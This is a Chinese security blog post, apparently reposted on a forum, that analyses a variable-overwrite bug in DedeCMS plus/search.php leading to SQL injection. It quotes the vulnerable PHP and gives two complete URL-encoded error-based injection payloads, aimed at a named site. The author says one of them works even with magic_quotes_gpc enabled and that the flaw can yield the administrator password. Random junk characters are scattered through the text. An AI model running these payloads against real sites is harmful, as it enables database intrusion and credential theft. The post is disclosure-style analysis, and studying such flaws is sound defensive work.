微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
8 z0 X' P, ~, d+ I* p# ]作者: c4rp3nt3r@0x50sec.org
% b, a" [' X9 L FDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
+ ]5 I* j6 c" }6 v! u7 i 5 O( e6 \+ u0 p
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.1 Q9 X8 Z, O6 r, z) r8 b
) S' Y3 o# V8 U8 S! F5 d9 ?
============
) O, v# m+ ?$ y( O 9 ~. I% d. h- g1 _' f* P& a
9 g2 ]7 O1 i* o- g* k0 q' p9 F, F
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.. {" T9 t# u. f1 C
& D6 q/ h- M& q* U
require_once(dirname(__FILE__).”/../include/common.inc.php”);; P- I2 n l" j+ ^! N' I: f
require_once(DEDEINC.”/arc.searchview.class.php”);/ C& C1 I" ^5 n* S ]$ V- f3 {# M
1 K" {0 ]4 c' S* F/ `# A) Q
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;% F5 Z5 o( t U
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;8 p% e8 M7 S6 v6 @1 @7 Q3 L
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;( V! n6 P; e8 d9 `/ w2 S J
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
9 G0 V$ J3 s4 R0 U* F* W$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
1 U6 B! ?! t1 }4 B- o, m , ?2 M6 s: V: o
if(!isset($orderby)) $orderby=”;6 e) I" r1 e W g' K
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
/ a4 b/ ]6 X8 S- I. C
! B* Y9 D- x2 \
+ O2 q+ G7 @6 L: C2 Jif(!isset($searchtype)) $searchtype = ‘titlekeyword’;5 D4 z# k0 e5 N: W- b
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
. J% d7 b) q/ S8 t: B$ P2 ] W( g( S6 t/ J1 y) S
if(!isset($keyword)){# r5 m3 q* [ ^3 J7 B% _
if(!isset($q)) $q = ”;
7 M- R9 }) G( H4 Z- f6 o" |& u $keyword=$q;$ I. H4 [3 ^" L P# } } F
}5 N$ E5 i/ T8 `8 J) c, K
6 W9 S: g7 V% b* V8 ^" p z& y9 z# H
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));0 t$ l G4 @% V9 P/ Z" S
& V3 T2 d( r, r7 i
//查找栏目信息6 S2 v2 _: `' z. y
if(empty($typeid))
! `: ^- V. U) F4 G. V# n{
1 W: q! P$ K# g. L3 t! m $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
' J8 ?# `* u# R3 n% A/ K if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
5 j7 a$ `# h. k {
* B9 T% G( c0 D& h $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
# B7 W4 _1 r; E/ t" U& j fwrite($fp, “<”.”?php\r\n”);" [+ ^/ v3 Z: \, R" ^3 q
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
, G) O$ S* @7 _& W' k0 C* x $dsql->Execute();
9 S4 G9 P! Q* p X+ Y2 m while($row = $dsql->GetArray()) a! B7 F0 x* J, W8 r
{
8 ?1 [( I" g. `# V( I* V fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
# o5 i$ x) k/ t. ` }: b6 h, F- H' x9 j2 @6 ]6 w5 o9 {
fwrite($fp, ‘?’.'>’);
; `5 [9 d# l( d4 c) z fclose($fp);. Y- Q& G; T1 H* q( c% U% X) d
}
+ I5 N+ _: L' k' X ] ^! [ //引入栏目缓存并看关键字是否有相关栏目内容) p1 D) M% N. K1 @. W2 {
require_once($typenameCacheFile);
) z# K0 `8 k0 t- r" T, Y//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个. k7 [; k6 T9 t' ~
//3 G9 Y' l% L1 r, l y
if(isset($typeArr) && is_array($typeArr)); `, f( Y8 B; k' v5 N
{
. H! l* y- L. Q3 p" S# D foreach($typeArr as $id=>$typename)
8 Q3 U: H5 r% H( B" O/ ?5 Y. ` {; n1 v, z) k+ W: H* a! N
8 b3 W( H/ {, M% {9 ] T! {8 ?$ s <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
: M: z: H, }6 ` if($keyword != $keywordn)5 ]' k) I) _/ U3 w
{5 t( V, q q* _; @- L* _: c- }: i4 P
$keyword = $keywordn;- P2 C6 B5 y; O+ K+ e. g2 O
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
. }2 c0 B7 j* R3 M. d8 e- R break;
3 V( z6 X# v' |7 T" w9 q } t% }9 ]. ]7 `
}
* a# r6 h. G# M8 w" ` }: z8 l+ _2 d1 k+ ^8 t0 i3 {+ f
}* h1 s0 m0 ]2 U) g1 e1 _6 d- B
然后plus/search.php文件下面定义了一个 Search类的对象 .& y0 b7 S! g4 \1 j1 N7 l
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.* T* H: F# \, \ t$ m: [# L
$this->TypeLink = new TypeLink($typeid);
; b. w6 z6 M, E9 L" b4 ^
4 i, S c. ^6 L/ t4 NTypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
0 K* r/ i# G: d
0 f I. q& ]% K! L# z# oclass TypeLink+ x/ F. R2 n* \* V/ g. ?) v5 p
{
1 o) X+ y) t X; t+ V$ ?; Q6 J var $typeDir;: ^% Q4 N6 ~5 e7 ~8 Y! `' f* W
var $dsql;3 U9 ]/ f1 g; k) x* Q6 b
var $TypeID;* t4 x# }; C* P1 w7 q$ b* q9 x4 X
var $baseDir;
1 J0 [8 D3 z2 v3 n/ \) J! P var $modDir;3 I, Y8 |% h* o! ^" o
var $indexUrl;
: u, X, o& o' D! {4 V$ r var $indexName;
3 F; x n. Y- |5 a var $TypeInfos;
/ j* c- U; Z/ i( {- I; h var $SplitSymbol;4 n: x1 V) h, W3 t
var $valuePosition;& o6 O' M$ {* V" T% T$ {
var $valuePositionName;
# g& z& q+ l9 | {8 y- ?$ n var $OptionArrayList;//构造函数///////
4 T# b- |" K) W4 `: d) u' T6 ? //php5构造函数
1 n+ Z( G, y: L- K+ s5 D0 T8 J function __construct($typeid)1 `: a5 m% h$ O/ M
{/ S* @; `2 u+ s# P% @9 A1 G5 s, s
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
# d: z6 u' @6 n1 y6 \3 ~8 w; g $this->indexName = $GLOBALS['cfg_indexname'];- _ _+ h0 h2 f0 v8 a+ h4 A
$this->baseDir = $GLOBALS['cfg_basedir'];
' w8 _9 t; P( O) n) m $this->modDir = $GLOBALS['cfg_templets_dir'];& E6 O0 B5 B1 P) J0 n7 y3 O
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
+ M l8 }5 a, J5 y4 p; F: a $this->dsql = $GLOBALS['dsql'];( G1 }$ V! Z9 |2 X: ?
$this->TypeID = $typeid;' O8 V; R8 w& U: D$ f' H6 s7 \7 d
$this->valuePosition = ”;2 b' n% U. w1 @* k
$this->valuePositionName = ”;. t! Q, o- S$ \8 s# [
$this->typeDir = ”;
) T, ~2 p, r0 h/ q1 w u" p $this->OptionArrayList = ”;' A# I) J$ j: z, ]1 G! P* v9 s1 W! J
* c" q7 Q$ V! M1 s q$ d* P //载入类目信息* x1 T, y- t3 m9 [% e6 _
, u( r3 `9 o0 D- P" V% ] <font color=”Red”>$query = “SELECT tp.*,ch.typename as
. O# G j& S6 Ectypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
- M5 w1 S! L- W2 s: R`#@__channeltype` ch
% p6 U& L; J, G+ T' H on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
6 i# v, l, R+ I1 T4 {# F9 t
9 h9 v- \- ~! e- ]/ l2 U if($typeid > 0)
8 {. `9 j/ K) Z) \! b {2 }1 p4 |9 @8 { I
$this->TypeInfos = $this->dsql->GetOne($query);5 i# q e; Q- g2 j2 Q
利用代码一 需要 即使magic_quotes_gpc = Off
$ b4 V3 P7 L; R9 _ & B3 D5 |/ [4 x; { I) K" s5 f
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title8 B5 c5 t9 n( z4 r: G" I. u
4 s% X- F7 U [' g; Z
这只是其中一个利用代码… Search 类的构造函数再往下" |2 m$ ?) Q7 G8 z W* `
6 l0 Z/ H7 o8 D3 U" ` }
……省略
0 h6 v* W$ \3 N( Z# U$ h3 j$this->TypeID = $typeid;! p) K0 U1 o* d+ M- T- |
……省略( p- D0 f4 ]# O/ Y+ `
if($this->TypeID==”0″){' c; I" k- |" ~: k, ^$ l
$this->ChannelTypeid=1;
# ?9 G) V6 h- T7 Q- G$ p }else{5 h& f# w9 ]8 C: n' v# O0 e
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲$ q+ Z. D4 }0 U% i
//现在不鸡肋了吧亲…; I# `# i3 C' q' V
$this->ChannelTypeid=$row['channeltype'];
+ n& p" z1 H. J: y: p F
( z% Z- U( t9 W5 M) O }1 s2 D0 @% k2 H7 Q" W0 I g
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
7 {1 Q# V/ R7 v9 U* C' P 4 H- d" \/ {# y% j3 N
www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
* d9 Q2 s. X" Q5 J$ z/ R 2 p# Q( K3 d7 U2 q5 Q
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站: p! n- U' q, K8 E+ b
|